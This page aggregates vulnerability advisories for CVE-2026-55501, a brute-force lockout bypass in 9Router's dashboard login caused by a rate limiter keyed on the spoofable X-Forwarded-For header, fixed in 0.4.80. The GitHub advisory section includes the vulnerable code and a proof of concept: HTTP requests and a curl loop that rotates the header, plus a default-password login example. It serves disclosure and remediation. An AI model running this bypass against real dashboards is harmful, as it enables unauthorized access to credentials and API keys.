9router: Login brute-force protection bypass via spoofed X-Forwarded-For header
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-55501
Published9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.
- Source published
- 10 Jul 2026 15:23:53 UTC
- Source modified
- 10 Jul 2026 16:45:23 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
euvd · EUVD-2026-42926
Published9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 10, 2026, 3:23:53 PM
dateUpdated: Jul 10, 2026, 4:45:23 PM
- Source published
- Jul 10, 2026, 3:23:53 PM (timezone not stated)
- Source modified
- Jul 10, 2026, 4:45:23 PM (timezone not stated)
- Observed here
- 7 Nov 2026 12:32:17 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
nvd · CVE-2026-55501
Published9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-307
Original publisher date fields
published: 2026-07-10T16:16:33.493
lastModified: 2026-10-25T15:10:00.147
- Source published
- 10 Jul 2026 16:16:33 UTC
- Source modified
- 25 Oct 2026 15:10:00 UTC
- Observed here
- 27 Oct 2026 15:15:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
osv · GHSA-7cfm-pqrj-xgq7
Published## Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time. This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective. ## Details | Component | File | Note | | ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- | | Dashboard login rate limiter | `src/lib/auth/loginLimiter.js` | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check | | Dashboard login route | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity | #### Vulnerable Code `src/lib/auth/loginLimiter.js`: ```js export function getClientIp(request) { const xff = request.headers.get("x-forwarded-for"); if (xff) return xff.split(",")[0].trim(); return request.headers.get("x-real-ip") || "unknown"; } ``` The returned value is used as the key for the in-memory rate-limit state: ```js const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt } ``` The login route uses this value when checking and recording failed login attempts: ```js export async function POST(request) { const ip = getClientIp(request); const lock = checkLock(ip); if (lock.locked) { return NextResponse.json( { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` }, { status: 429 } ); } // ... password validation ... recordFail(ip); } ``` Because `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations. ## PoC ### Step 1 — Baseline: rate limiter triggers when the client identity is stable Send repeated failed login attempts with the same `X-Forwarded-For` value: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 1.1.1.1 {"password":"wrong-password"} ``` Observed behavior: | Attempt | Response | | ------- | ----------------------------------------------------- | | 1 | `Invalid password. 4 attempt(s) left before lockout.` | | 2 | `Invalid password. 3 attempt(s) left before lockout.` | | 3 | `Invalid password. 2 attempt(s) left before lockout.` | | 4 | `Invalid password. 1 attempt(s) left before lockout.` | | 5 | `Too many failed attempts. Try again in 30s.` | | 6 | `Too many failed attempts. Try again in 30s.` | This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket. ### Step 2 — Bypass: rotate `X-Forwarded-For` on each request Send failed login attempts while changing the `X-Forwarded-For` value for every request: ```bash for i in $(seq 1 10); do curl -s -X POST "http://localhost:20128/api/auth/login" \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 10.0.0.$i" \ -d '{"password":"wrong-password"}' echo done ``` Observed response for every request: ```json { "error": "Invalid password. 4 attempt(s) left before lockout.", "remainingBeforeLock": 4 } ``` The counter resets to the initial state on every request, and the lockout is never triggered. ### Step 3 — Impact amplifier: default dashboard password If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate. Example request: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 99.99.99.99 {"password":"<default-dashboard-password>"} ``` Observed response on a default installation: ```http HTTP/1.1 200 OK Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax ``` ```json { "success": true } ``` The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key. ## Attack Scenario 1. A remote attacker identifies a publicly reachable 9router dashboard. 2. The attacker sends repeated login attempts to `/api/auth/login`. 3. For each attempt, the attacker changes the `X-Forwarded-For` header value. 4. 9router treats each request as a different client and assigns a fresh rate-limit bucket. 5. The attacker can continue brute-force attempts without triggering the configured lockout. 6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access. ## Impact A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password. If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to: * Access configured provider credentials and API keys. * Change dashboard and authentication settings. * Disable login protection if the application allows it. * Create persistent API keys or other long-lived access tokens. * Modify application configuration. * Chain the access with other server-side functionality exposed by the dashboard.
- Source published
- 6 Jul 2026 21:46:20 UTC
- Source modified
- 6 Jul 2026 22:11:30 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Publisher rating · HIGH